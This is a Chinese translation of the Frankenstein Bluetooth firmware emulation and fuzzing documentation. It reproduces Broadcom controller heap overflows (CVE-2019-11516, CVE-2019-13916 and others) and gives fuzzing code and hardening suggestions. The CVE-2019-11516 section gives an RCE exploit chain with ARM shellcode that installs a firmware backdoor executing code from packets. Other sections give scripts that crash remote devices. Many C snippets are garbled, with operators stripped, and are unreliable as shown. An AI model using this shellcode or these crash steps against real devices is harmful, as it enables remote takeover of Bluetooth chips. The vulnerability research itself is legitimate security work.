科学怪人提供了一款虚拟环境来模糊无线固件,可以在运行时hook固件以提取其当前状态。然后,可以在虚拟环境中重新执行它们以进行fuzz。为此,需要将固件映像重新组合为可以用QEMU执行的ELF文件。通过基于Web的UI简化了固件映像的重组。
使用入门
基本配置
该工具包含用于配置编译的基于Web的UI,这包括符号和内存转储的管理,Makefile和链接脚本由编译系统自动生成。可以通过以下命令启动编译系统,然后将浏览器导航到http://127.0.0.1:8000/
python3 manage.py runserver
编译系统已经包含符号和初始内存转储,可以浏览可用的项目和转储,而无需实际的硬件,可以使用IDA Pro或Ghidra等。符号会被截断为前1k个符号,因此,如果函数没有立即显示在列表中,请不要担心。
每个固件版本都位于一个不同的项目中,该项目存储在projects中,项目包含一个project.json文件,该文件包含符号名称和包括内存转储的内存布局。可用的符号可用于生成C语言中的补丁以及用于固件仿真。要为CYW20735编译所有补丁和仿真器,请运行以下命令:
make -C projects/CYW20735B1
通常,编译项目使用QEMU运行仿真就行。但是对于fuzz,将固件保持在不同的状态并从那里继续进行fuzz可能非常有趣。因此,如果当前没有任何支持的硬件,则可以在xmitstate以后跳过此步骤。
使用make -C projects/CYW20735B1编译项目后,可以模拟固件状态,直到输入Idle线程为止。执行以下命令:
qemu-arm projects/CYW20735B1/gen/execute.exe
或从Web前端执行它并获得更多信息:
附加固件
execute.exeELF文件不会与外界通信。因此,它会终止在 Idle线程中。但是,为了Fuzzing固件,需要将其连接到真实主机并获得随机的无线输入中。
我们提供了一个额外的补丁程序hci_attach.exe,补丁程序抽象了Bluetooth Core Scheduler(BCS)的调用约定。BCS通常从硬件寄存器中获取输入,这些寄存器包含来自物理层的解码数据包。替换bluetoothCoreInt_C每312.5µs(1/2蓝牙时钟周期)调用BCS 的中断处理程序的调用。现在,此中断处理程序正在从Linux主机的标准输入(STDIN)读取数据。可以输入任意输入,即来自/dev/urandom的数据。
cat /dev/urandom | qemu-arm projects/CYW20735B1/gen/hci_attach.exe
hci_attach.exe还会在btattach主机上调用命令,该主机是Linux Bluez蓝牙堆栈的一部分。运行此文件后,主机将拥有一个新的蓝牙设备。可以使用hciconfig列出当前设备。将UART数据从仿真设备传递到Linux主机的hook安装在固件函数uart_directWrite和类似函数中。
根据主机的行为,可能需要在启动QEMU之后立即重置芯片;否则,仿真将被卡住或出现段错误。在当前的Debian测试(2019年9月)中,主机不会自动完成此测试,可以手动执行以下操作:
hcitool -i hci1 cmd 0x03 0x03 HCI Command: ogf 0x03, ocf 0x0003, plen 0 HCI Event: 0x0e plen 4 01 03 0C 00
成功重置后,仿真将继续运行,会在短时间内看到启动的hci_attach.exe终端上的大量输出。现在,可以在主机上启动导致与仿真蓝牙固件交互的操作。例如,可以扫描蓝牙LE设备:
hcitool -i hci1 lescan
如果在打开Wireshark的同时这样做,则会发现很多奇怪且无效的数据包。但是,扫描输出将在短时间内显示许多具有随机地址的设备,其中一些甚至返回格式错误的名称。
CVE-2019-11516复现
要触发CVE-2019-11516,请运行hcitool -i hci1 scan并等待几秒钟到几分钟。
Context switch idle - lm lr=0x02d12f lm_handleInqFHS(0x40)lr=0x02cc53 lc_handleInqResult(0x21fb1c)lr=0x041d91 inqfilter_isBdAddrRegistered(0x21fb24, 0x0); lr=0x041dc3 inqfilter_registerBdAddr(0x21fb24, 0x0); lr=0x041dfb bthci_event_SendInquiryResultEvent(0x21fb1c)lr=0x024e49 dynamic_memory_AllocateOrDie(0x19)Heap Corruption Detected pool = 0x20d368 pool-size = 0x0180 free_chunk = 0x221c04 7f7fb0c9 | a3e4b4aa4242424242424242424242424242424242424242424242424242424242424242 4242424242424242424242424242424242424242424242424242424242424242424242424242424 2424242424242424242424242424242424242424242424242424242424242424242424242424242 4242424242424242424242424242424242424242424242424242424242424242424242424242424 2424242424242424242424242424242424242424242424242424242424242424242424242424242 4242424242424242424242424242424242424242424242424242424242424242424242424242424 2424242424242424242424242424242424242424242424242424242424242424242424242424242 4242424242424242424242424242424242424242424242424242424242424242424242424242424 2424242424242424242424242424242424242424242424242424242424242424242424242424242 4242424242424242424242424242424242424242424242424242424242424242 qemu: uncaught target signal 11 (Segmentation fault) - core dumped
出于调试目的,我们的堆清理程序当前正在写入0x42释放的内存。
现在触发CVE-2019-13916。由于此漏洞位于BLE PDU的解析范围内,因此要做的就是成功建立与另一个LE设备的连接。如果连接到随机地址,则此操作将在某个时间点成功。通常,这需要花费几分钟,在某些情况下,仿真器会崩溃,并且需要重新启动仿真。
while true; do hcitool -i hci1 lecc ca:fe:ba:be:13:37; done
结果如下:
lr=0x08ee3d bcsulp_getPktLength(0x854cfecd, 0x0) = 0xfe; lr=0x08ed33 bcsulp_getPktLength(0x05, 0x0) = 0x0; lr=0x08ec11 bcsulp_getPktLength(0x05, 0x0) = 0x0; lr=0x08ebc1 dhmulp_getTxBuffer(0x281704, 0x1b, 0x0148001b); lr=0x041e95 bcsulp_getPktLength(0x854cfecd, 0x0) = 0xfe; lr=0x08f115 bcsulp_procRxPayload(0x281618, 0x854cfecd)lr=0x08e9c3 bcsulp_getPktLength(0x854cfecd, 0x0) = 0xfe; lr=0x08ea2f bcsulp_getPktLength(0x854cfecd, 0x0) = 0xfe; lr=0x08ea4b utils_memcpy8(0x2232d0, 0x370c00, 0xfe)Heap Corruption Detected pool = 0x20d38c pool-block_start = 0x2232c0 pool-capacity = 0x0f pool-size = 0x0108 free_chunk = 0x1010a9a8 qemu: uncaught target signal 11 (Segmentation fault) - core dumped
转储内存状态
要转储自定义状态,最重要的补丁是patch/xmit_state.h。它生成可重新执行的固件状态,在自定义InternalBlue扩展中使用internalBlueMod.py。如果在本机Linux上运行并且想要访问原始HCI设备,则需要超级用户权限。
(sudo) python3 internalBlueMod.py
在此扩展中,我们可以运行以下命令来生成可重新执行状态:
xmitstate target_function
根据目标函数,有时可能会崩溃,请再试一次,成功转储状态后,InternalBlue如下
[*] Received fuill firmware state
如果固件随后崩溃,则可以忽略此操作。
现在,重新加载在http://127.0.0.1:8000/上运行的Web UI 。它将在“ 段组”视图中列出internalBlue_09.24.2019_18.32.09新转储,最近的转储将自动设置为active状态。
如果你正在用sudo运行InternalBlue,可能需要调整访问权限生成的状态。
为此,需要运行:
sudo chown -R $USER:$USER projects/CYW20735B1/segment_groups/
现在,再次编译项目:
make -C projects/CYW20735B1
Heap Sanitizer
在真实的硬件上运行我们自定义的InternalBlue脚本:
(sudo) python3 internalBlueMod.py
加载堆清理程序补丁:
loadelf projects/CYW20735B1/gen/heap_sanitizer.patch
现在,将获得有关堆的详细输出,例如,由memcpy和调用它的函数引起的错误。根据调试的内容,可能需要调整patch/heap_sanitizer.c中的定义。
依赖项
对于QEMU,需要安装qemu-user软件包。该项目的编译要求gcc-arm-none-eabi。
apt install qemu-user gcc-arm-none-eabi gcc-multilib
用qemu-user (1:3.1+dfsg+8+deb10u2)和gcc-arm-none-eabi (15:7-2018-q2-6)和测试gcc-multilib (4:8.3.0-1)。
需要以下Python 3数据包:
pip3 install django pyelftools==0.24
测试需要安装django-1.11.24。
漏洞实战
0x01 利用ThreadX 堆溢出漏洞
ThreadX有一个称为块缓冲区的自定义堆实现。由于任何堆实现都比较容易溢出,因此我们进一步分析了可能的利用技术。我们注意到,在某些情况下不会检测到堆损坏。因此,我们决定实施堆清理程序以检测溢出和某些UAF漏洞。这里描述的一些技术是以前的研究者发现的。
https://web.archive.org/web/20190808113206/https://embedi.org/blog/remotely-compromise-devices-by-using-bugs-in-marvell-avastar-wi-fi-from-zero-knowledge-to-zero-click-rce/
堆操作
块缓冲区实现以静态长度管理具有不同缓冲区大小的多个池。这与经典堆不同,经典堆将连续的内存位置分为大小不同的较小块。在使用HNDRTE RTOS的较旧Wi-Fi控制器上使用这种实现,每个块池都有一个空闲缓冲区的链接列表。缓冲区的前四个字节保存一个缓冲区头。该头包含指向下一个空闲缓冲区的指针,或者如果分配了缓冲区则指向块池的指针。堆的初始状态如下所示:
当应用程序执行分配时,将找到与请求的大小相对应的正确块池。第一个缓冲区从空闲列表中获取,并返回给应用程序。空闲列表头现在指向该列表中的第二个缓冲区,结果状态如下所示。尽管在Nexus 5和CYW20735B-01之间进行了6年的开发,但它们都使用ThreadX处理类似的Block缓冲区。
在Nexus5上,该free操作使用存储在缓冲区标头中的块指针将缓冲区插入到空闲列表的前面。在CYW20735B-01上,此过程稍有不同,下面将进行介绍。Nexus 5 的free实现如下所示:
void *dynamic_memory_AllocatePrivate(struct bloc *bloc) { buffer = bloc-free_list; bloc-free_list = *buffer; bloc-free_buffers --; *buffer = bloc; return buffer + 4; } void dynamic_memory_Release(int buffer) { bloc = *(buffer - 4) *(buffer-4) = bloc-free_list bloc-free_list = buffer - 4 bloc-free_buffers ++; return; }
在溢出情况下,一个目标是控制缓冲区头,因为其中包含控制数据。我们区分两种情况,即分配的缓冲区溢出和空闲的缓冲区。
溢出空闲缓冲区
溢出到空闲的块缓冲区中会破坏空闲列表中的指针。结果,攻击者可能会将缓冲区分配重定向到任意地址。如果攻击者还可以控制缓冲区的内容,则会发生任意写条件。为了利用此漏洞,攻击者需要连续分配多个缓冲区。必须避免立即释放这些缓冲区,因为这些缓冲区将作为此列表的开头插入。我们将此策略用于CVE-2019-11516的利用。溢出后,堆立即具有以下结构。
由于固件没有太多可用的RAM,通常需要立即释放分配的缓冲区。因此,攻击者最经常遇到的情况是受影响的缓冲区已被释放。生成的堆结构如下所示,可以看出,在这种情况下,第三个分配将是攻击者控制的位置。
溢出分配缓冲区
在Nexus 5上,缓冲区标头包含一个指向块池的指针。如果攻击者可以控制此指针,则可以利用该free进程。攻击者可以将指向缓冲区的指针写入任意位置。可以将元素添加到诸如计时器之类的链接列表中,从而获得执行代码的能力。请注意,这种技术bloc-free_buffers会增加副作用。另外,还存在一个bloc-thread_waiting_list必须是NULL的。否则,ThreadX将尝试遍历该列表以查找等待Block缓冲区的线程。在大多数情况下,这将导致分段错误。
在CYW20735B-01上,此技术已得到缓解,如下列表所示。不确定这是否是预期的安全修复程序。无需依赖缓冲区头,而是手动搜索相应的块池,因此忽略了缓冲区头。如果找不到合适的块池,则固件将使用断言从而崩溃。
void dynamic_memory_Release(int buffer) { for (bloc = bloc_list; bloc; bloc = bloc-next) if (buffer = bloc-memory && buffer bloc-memory + bloc-total_size) break; if (!bloc) dbfw_assert_fatal(); *(buffer-4) = bloc-free_list; bloc-free_list = buffer - 4; bloc-free_buffers ++; return; }
Heap Sanitizer
验证堆完整性可以发现堆溢出。如前所述,堆溢出甚至可能不会导致崩溃。因此,我们在模拟器和InternalBlue中添加了一个堆清理器。借助后者,我们可以检测各种平台上的实时堆损坏。
在InternalBlue上,我们必须使用Read RAM命令读取内存。因此,我们必须在单独的块中读取堆结构,由于同时可能发生其他缓冲区操作,因此我们不能依赖空闲列表的完整性。我们注意到,缓冲区标头只能处于以下状态之一。
· 有效的缓冲区指针(如果缓冲区在空闲列表中)。
· 如果缓冲区是空闲列表中的最后一个元素,则为NULL。
· 如果已分配缓冲区,则指向BLOC结构的指针。
我们芯片的堆实现与以前的设备略有不同。不确定这是否是Broadcom或ThreadX所做的更改。如前所述,它们不再依赖于缓冲区头分配的缓冲区。目前尚不清楚该设备上的标头使用什么。
堆清理器也已添加到模拟器中,该清理器在dynamic_memory.h中实现。通过简单地遍历所有空闲列表,我们将注意到堆缓冲区是否随机数据溢出。我们还按照建议的修复方法对缓冲区地址添加了其他检查。我们还将清除具有固定值的空闲缓冲区的内容。因此,可以检测是否将数据写入已经释放的缓冲区,这说明存在UAF漏洞。不会释放对释放的缓冲区的读取,因此对UAF漏洞的检测受到限制。该工具用于检测和定位CVE-2019-11516和CVE-2019-13916。此程序检测到的漏洞的截图如下:
修复建议
Express Logic在文档中提到,块溢出会导致“不可预测的行为”,应予以防止。尽管无法避免错误并导致缓冲区溢出,但我们还是建议对实现进行一些强化修复。他们的目标是防止开发并支持开发人员检测溢出,我们已经将建议发送给Express Logic,但是他们对实现它们不感兴趣。
在堆栈上,使用Cookie(攻击者不知道的随机值)来检测缓冲区溢出。它们被放置在每个缓冲区的末尾或堆栈帧的开头。如果发生溢出,则该值将更改并检测到溢出。为了利用此漏洞,攻击者首先需要泄漏内存。由于此方法需要额外的内存,因此对于内存昂贵的嵌入式设备而言,它并不是理想的选择。
对于此特定实现,我们可以添加一些恒定时间检查以检测堆损坏。为了避免被利用,我们必须防止dynamic_memory_AllocatePrivate返回无效地址。这可以通过两个检查来实现:首先,块缓冲区必须在块的有效范围内。这样可以防止任意分配,并会导致意外溢出。其次,与块开头的差必须是块大小加标头的倍数,这样可以防止攻击者创建重叠的缓冲区,还可以防止块头部分被覆盖。
#define valid_block_ptr(pool, ptr) \ ((ptr = pool-start & ptr pool-start + pool-size) && \ ((ptr - pool-start) % (pool-block_size + 4) == 0 )) void *dynamic_memory_AllocatePrivate(struct block *pool) { if( ! valid_block_ptr( pool, bloc-free_list)) raise_critical(); ... }
如果下一个物理缓冲区的标头仍然有效,我们还可以检查每个空闲操作。如果要释放的缓冲区导致溢出,则此检查将触发。
void *dynamic_memory_Release(void *ptr) { if (ptr - pool-start pool-size) { int next_ptr = ptr + pool-block_size + 4; if (next_ptr && next_ptr != pool && !valid_bloc_ptr(pool, next_ptr) ) raise_critical(); } ... }
即使启用了此检查,攻击者仍然可以破坏空闲列表。单个块缓冲区可以在空闲列表中多次插入。这将导致在两个不同的上下文中使用缓冲区,并可能导致问题。为了检测这种情况,我们需要遍历整个空闲列表,这需要大量资源。
0x02 CVE-2019-11516 漏洞利用
披露时间
· 此漏洞由Jan发现并于2019年4月爆出。
· 已于2019年8月在AOSP中修复,已在iOS 12.4或更早版本中无提示修复。
漏洞描述
本部分描述了影响Broadcom蓝牙控制器,2010-2018的基于堆的缓冲区溢出,已在2018年2月修复。我们可以通过分析BCM4375B1的ROM来确认此修复,但尽管如此,我们仍未观察到任何补丁。如果设备处于查询扫描模式,则会触发该事件,即设备扫描发生的情况。
已测试设备的列表:
漏洞复现
要运行此漏洞,需要修改固件。我们为CYW20735B1提供了一个补丁,可以使用经过修改的Internalblue进行加载。
loadelf projects/CYW20735B1/gen/CVE_2019_11516.patch
使远程设备崩溃
bash projects/CYW20735B1/gen/CVE_2019_11516.sh hci1 ca:fe:ba:be:13:37
漏洞描述
创建HCI扩展查询响应(EIR)事件时,固件存在堆缓冲区溢出。EIR数据包的长度是从paylaod报头中提取的,该报头pkt_log在固件中被命名。根据标准,paylaod报头具有以下所示的结构。“保留供将来使用”(RFU)字段应设置为零。
缺陷发生在eir_handleRx。即使数据包paylaod的长度字段似乎已正确验证,RFU位也不会被丢弃。通过将RFU位设置为1,我们可以将其设置eir_rx.len为比预期的240个字节大得多的值。设置这些位不会进一步影响数据包的发送或接收。
void eir_handleRx() { ... pkt_type = (pkt_hdr_status 3) & 0xf; ... if (pkt_type == 3 || pkt_type == 4) { eir_rx.len = (pkt_log 5) & 0x1f; //Length is 5 bits } else if (pkt_type == 10 || pkt_type == 11 || pkt_type == 14 || pkt_type == 15) eir_rx.len = (pkt_log 5) & 0x1fff; //13 Bits, RFU bits //are not discarded //Should be 0x3ff } ... } void bthci_event_SendInquiryResultEvent() { event_buf = bthci_event_AllocateEventAndFillHeader(257, 47, 255); //Allocates 265 bytes ... eir_getReceivedEIR(v1, event_buf + 17); ... } void eir_getReceivedEIR(int a1, char *target) { ... memcpy(target, eir_rx.data + 8, eir_rx.len); //Heap Overflow ... }
EIR数据包内容将复制到实际发生溢出的EIR HCI事件。该函数bthci_event_SendInquiryResultEvent分配265字节的HCI事件,而最后的240字节保留给EIR数据包数据。eir_getReceivedEIR函数会将长度错误计算的数据包数据复制到HCI事件缓冲区中。即使我们仅发送240个字节,也可以按照此处所述控制更多字节。
https://github.com/seemoo-lab/frankenstein/blob/master/doc/CVE_2019_11516.md#memory-artifact
该函数eir_handleRx位于BCS内核中,而bthci_event_SendInquiryResultEvent位于LM线程中。因此,需要调用bluetoothCoreInt_C multiple,然后执行上下文切换到LM线程以检测此缺陷。通过Fuzzing单个函数几乎是不可能的。此外,为了获得该代码,设备必须处于查询模式。即使可以获得单独的快照,将仿真器连接到蓝牙堆栈的可能性也简化了该步骤。
漏洞分析
即使堆已损坏,诸如BCM4335C0编译日期在2012年的设备似乎仍能稳定运行。在实践中,即使此缺陷具有RCE的潜力,该缺陷也几乎不会影响配对,L2CAP和文件共享函数是有问题的,因为除了分析堆之外没有其他方法可以测试此缺陷。因此,我们决定进一步评估可利用性。
我们已经在CYW20735B-01和BCM4335C0上利用此漏洞将其转化成RCE。漏洞利用策略包括以下步骤:
· 破坏堆上块缓冲区的可用列表,以指向任意内存位置。
· 在目标设备上分配包含攻击者控制的数据的缓冲区,这些数据将被写入目标位置。
· 触发执行我们的shellcode,该shellcode位于步骤2中分配的缓冲区中。
受影响的块缓冲区的长度为264、268或384字节,具体取决于设备。在现代设备上,块池包含10个缓冲区,而BCM20702只有3个缓冲区。因此,溢出可以到达BCM20702上的下一个块,该块用于接收缓冲区。分配这些缓冲区后,设备将在查询结束时崩溃,并释放损坏的缓冲区。
[ Idx ] @Pool-Addr Buf-Size Avail/Capacity Mem-Size @ Addr ----------------------------------------------------------------- BLOC[0] @ 0x205DC8: 32 7 / 8 288 @ 0x2179A4 BLOC[1] @ 0x205DF8: 64 7 / 8 544 @ 0x217AC4 BLOC[2] @ 0x205E28: 264 10 / 10 2680 @ 0x217CE4 ^-- Affected BLOC buffers BLOC[3] @ 0x205E88: 1064 2 / 4 4272 @ 0x21C624 BLOC[4] @ 0x205E58: 1092 16 / 16 17536 @ 0x21D6D4 BLOC[5] @ 0x20EC38: 40 15 / 15 660 @ 0x221B54 BLOC[6] @ 0x20EC68: 32 15 / 15 540 @ 0x221DE8
我们需要三个分配来返回中损坏的指针dynamic_memory_AllocateOrDie。如果返回此缓冲区,它将被视为HCI事件缓冲区,因此如果指针无效,则数据将被覆盖或设备崩溃。请注意,HCI EIR数据包将发送到主机并立即释放。
内存空间
我们发送了240字节的paylaod,因此完整的EIR数据包应适合HCI事件缓冲区。期望使用随机数据溢出Block头,这将使此漏洞难以利用。接收缓冲区中有一个内存被映射到RAM。该缓冲区的内存转储如下所示。此十六进制转储是在BCM2072上获得的,但是在所有设备上都可以观察到相同的行为。在溢出之前,将清除所有由值0x25和指示的0x26块缓冲区。为EIR数据包选择了一个升值模式,EIR数据包的中间部分在末尾重复。似乎是接收硬件的原因,对于我们的利用至关重要,因为它使我们能够控制下一个Block缓冲区的标头。
使用“Read Remote Name”堆喷
这将取消引用损坏的指针,并且固件会将其视为块缓冲区。如果我们还可以控制该缓冲区的内容,我们将拥有一个Write-What-Where Where gadget,这可用于覆盖RAM中的函数或函数指针以获得RCE。
成功进行堆喷的方法是触发“读取远程名称响应” HCI事件。分配这些事件,因为接收到“读取远程名称” HCI命令。为了触发这些命令,我们需要从主机未知的蓝牙地址进行连接,主机将尝试解析该名称。这是通过bthci_cmd_lc_HandleCreate_Connection在每个连接上设置hook并随机分配地址来实现的。
此外,我们必须确保这些HCI事件不会发送到主机,因此不会被释放。远程名称是通过LMP数据包发送的,该数据包携带14字节的paylaod。由于设备名称可能会更长,因此会分散在多个数据包中。如果名称已完全发送或发生超时,则将释放HCI事件。通过丢弃名称传输的最后一个数据包并在没有通知的情况下与目标断开连接,目标将保留缓冲区直到发生超时。一遍又一遍地重复此过程,直到从空闲列表中获取溢出的指针为止。HCI事件将被写入该地址,其地址如下所示。设备名称将携带实际的paylaod。
4 9 238 18 +----------+------------+-------------+------------------+ | BLOC Hdr | HCI header | Device Name | (Not Controlled) | +----------+------------+-------------+------------------+
该技术具有一些局限性,对于开发而言很重要。首先,我们需要多个数据包来发送我们的paylaod。因此,我们必须确保固件在接收到paylaod时不会崩溃。整个缓冲区在分配时归零,并且前13个字节和后18个字节无法控制。
其次,攻击者没有有关当前堆布局的反馈。我们必须确保在下一个缓冲区分配之前调用shellcode,这必须修复损坏的堆。否则,我们将取消引用位于溢出地址处的任何数据,并将其视为堆缓冲区。在大多数情况下,这将导致崩溃。
漏洞利用
除了显示pc我们想要显示的控制之外,还可以做一些有用的事情。首先,我们必须找到要使用我们的gadget覆盖的目标。如果在LMP接收期间将缓冲区清零,则每次连接尝试时都必须调用该函数,并且不能使固件崩溃。在Nexus 5上,这是通过覆盖存储在RAM中的LMP主机连接请求消息的补丁来实现的。另一个目标将是virtualFunctions表格,稍后将对其进行描述。
我们必须调用存储在ROM中的原始LMP处理程序,以确保在触发Shellcode后正常运行。另外,以下步骤必须执行一次,因此,我们必须测试shellcode是否已经触发。
sub sp, #4 push {r0-r4} ldr r0,=0x5853d str r0, [sp,#20] ldr r0,=0xd2680 ldr r1,=0x15a000 ldr r3, [r0] cmp r3,#0 beq done cmp r3,r1 beq done str r1, [r0]
此外,我们必须确保受影响的块的进一步分配不会导致崩溃。正如我们刚刚编写的shellcode一样,空闲列表的头(即下一个分配)是无效的地址。我们将链接列表的开头设置为空闲列表的不受影响部分。
ldr r0,=0x205e38 ldr r1,=0x218220 str r1, [r0]
初始化时,整个缓冲区的大小为零,因此我们还将销毁LMP扩展函数响应的另一个补丁。我们通过跳到ROM中的原始处理程序来替换此函数,以确保成功建立连接以进行进一步的尝试。
ldr r0, =0xd266c ldr r1, =0xf000f8df str r1, [r0] ldr r0, =0xd2670 ldr r1, =0x6166d str r1, [r0]
最后,安装一个后门。这将被设置为一个回调RX_Done的virtualFunction表,对于控制器接收到的每个数据包都调用此方法。
ldr r0, =0x205fcc ldr r1, =0xd2691 str r1, [r0] done: pop {r0-r4,pc}
在该地址上定位0x200e80了一个名为dmaActiveRXBuffer的指针。这指向RAM中的位置,就像ACL和L2CAP数据包一样,将接收的数据包存储在此位置。如果使用该bcs_dma方法未收到任何数据包,则其值为零。我们可以在数据包中检查Magic值。如果存在此值,我们将跳入接收的数据包并执行包含的代码。
ldr r0,=0x200e80 ldr r0, [r0] add r0, #12 ldr r1, [r0] ldr r2,=0xdeadc0de cmp r1, r2 bne skip add r0, #5 bx r0 skip: eor r0, r0 bx lr
将所有利用组合在一起构成利用链:
https://www.youtube.com/watch?v=qMMKNF_9fA0
0x03 CVE-2019-13916 漏洞分析
本节描述了影响CYW20735,CYW20719和CYW20819蓝牙开发板的基于堆的缓冲区溢出。使用了BCM2835的Raspberry Pi 3也容易受到攻击。如果攻击者发送的bcsulp_procRxPayload PDU长度超过252字节的数据包,则会发生溢出。
char *bcsulp_rxBuffer; //located at 0x282880 void *mmulp_allocACLUp(int size) { ... //allocating 0x108 bytes char *ret = dynamic_memory_SpecialBlockPoolAllocateOrReturnNULL(g_mm_BLEDeviceToHostPool); //returning 0x100 bytes return ret + 8; } void *dhmulp_getRxBuffer(int a1) { ... //g_bt_config_BLE_Pools.size = 0x108, returns 0x100 bytes return mmulp_allocACLUp(g_bt_config_BLE_Pools.size); } void bcsulp_setupRxBuffer(int a1) { ... bcsulp_rxBuffer = dhmulp_getRxBuffer(a1); ... } void bcsulp_procRxPayload(int a1, int a2) { int length = bcsulp_getPktLength(a1); //can return up to 0xff //0xfc bytes left and causes heap overflow //utils_memcpy8() will always copy multiple of 4 bytes utils_memcpy8(bcsulp_rxBuffer + 4, rtx_rx_buffer, length); }
我们可以破坏空闲列表的下一个指针。PDU的最大长度为255字节,因此我们只能使3字节的分组数据溢出地址。使用的memcpy8实现总是复制4字节的倍数,因此我们不能使用部分覆盖。最高有效字节是随机的:
此值不是静态的,并且在连接尝试之间甚至在每个发送的数据包(如果paylaod是随机的)之间都可以更改。负载payload后直接跟着CRC。
2 1-255 3 +----------+-------+-----+---------+-----+ | Preamble | FEC 1 | HDR | Payload | CRC | +----------+-------+-----+---------+-----+ | PDU | +---------------+
我们可以证明,看似不受控制的字节是该校验和的第一个字节。它是通过PDU计算的,并使用随机值初始化算法,该值在连接建立时传达。在标准的 Vol6 B部分3.3.1中定义了CRC的生成。初始状态存储在wib_conn_lfsr寄存器中。我们可以计算传输的CRC,从而计算出溢出的第四个字节。通过调整payload,我们可以控制该字节和next空闲列表中的指针。为了加快暴力破解速度,我们为PDU的前248个字节加上常量报头预先计算了内部CRC状态。因此,对于每次尝试,我们只需要为最后7个字节重新计算CRC。我们先修改paylaod,然后再将其复制到Tx缓冲区中bcsulp_fillTxBuffer。wib_tx_pyld_info每次bcsulp_progTxBuffer调用时,我们都会覆盖PDU标头。因此,发送已经准备好的数据包而不是例如NULL数据包。即使错过了第一个时隙,下一次传输也会成功破坏目标。由于本文的时间限制,我们没有找到分配三个缓冲区并将此缺陷转换为RCE的gadget的方法。
0x04 CVE-2019-18614 漏洞分析
在经典蓝牙中,异步减少连接(ACL)模式用于数据传输,例如网络共享或音乐流。与主机控制器接口(HCI)命令和事件类似,它使用UART发送到主机,但在H4协议中具有不同的数据前缀。
通过操作系统对驱动程序进行初始化后,蓝牙芯片会使用HCI_Read_Buffer_Size命令发出最大数据包和缓冲区大小的信号(请参阅第795页,BT 5.2规范)。Broadcom芯片的ACL长度配置为1021字节和8个数据包。如果超过此缓冲区,则会导致堆溢出。重要的是要注意,如果不绕过驱动程序和操作系统蓝牙堆栈,就不能利用这种溢出,而这需要两种方式的特权访问。
但是,仅在CYW20735芯片上,存在缓冲区配置漏洞,这使得ACL可以被利用。全局变量BT_ACL_HOST_TO_DEVICE_DEFAULT_SIZE和BT_ACL_DEVICE_TO_HOST_DEFAULT_SIZE 被设置为384字节,而芯片仍向主机发送1021字节的信号。因此,仅当用户设置音频流的常规耳机时,立即会导致堆溢出。由于配置错误会影响两个方向,因此通过发送一些 超过384字节的L2Ping数据包,也可以通过空中触发堆溢出。在WICED Studio 6.4中重新配置缓冲区大小时,可能是由于内存不足并在内部自动重新加载固件映像。
此错误使我们使用仿真的CYW20735固件进行进一步的ACL模糊测试变得困难。在固件崩溃之前,无法在音乐流或网络共享期间拍摄快照。但是,CYW20819固件没有此问题。
0x05 BlueFrag(CVE-2020-0022)
Fuzzing代码:
#include frankenstein/BCMBT/patching/patchram.h #include frankenstein/BCMBT/patching/hciio.h #include frankenstein/hook.h void bcs_dmaTxEnable(); void _aclTaskFsmSetup(); int rand(); void srand(int); extern int tx_pkt_info; extern int tx_pkt_pyld_hdr; int seed; #define set_pkt_type(type) ((((type) & 0xf)3) | ((~(0xf3)) & tx_pkt_info)) void fuzz_acl(struct saved_regs *regs, void *arg) { int len = (*(int *)(regs-r0 + 0x0a)3) & 0x3ff; char *data = (char *)(*(int *)(regs-r0 + 0x10) & 0xfffffffc); if (len 30) return; srand(seed++); tx_pkt_info ^= 1(rand()%16); tx_pkt_info ^= 1(rand()%16); tx_pkt_pyld_hdr ^= 1(rand()%16); tx_pkt_pyld_hdr ^= 1(rand()%16); data[rand()%len] ^= 1(rand()%8); data[rand()%len] ^= 1(rand()%8); data[rand()%len] ^= 1(rand()%8); data[rand()%len] ^= 1(rand()%8); } int _start() { seed = 0x0; print("Hello\n"); add_hook(bcs_dmaTxEnable, fuzz_acl, NULL, NULL); } void _fini() { print("Goodbye cruel world\n"); for (int i=0; i installed_hooks; i++) { uninstall_hook(&hooks[i]); } }
参考资料:
https://github.com/seemoo-lab/frankenstein/blob/master/doc/Thesis.pdf
本文翻译自:https://github.com/seemoo-lab/frankenstein/如若转载,请注明原文地址: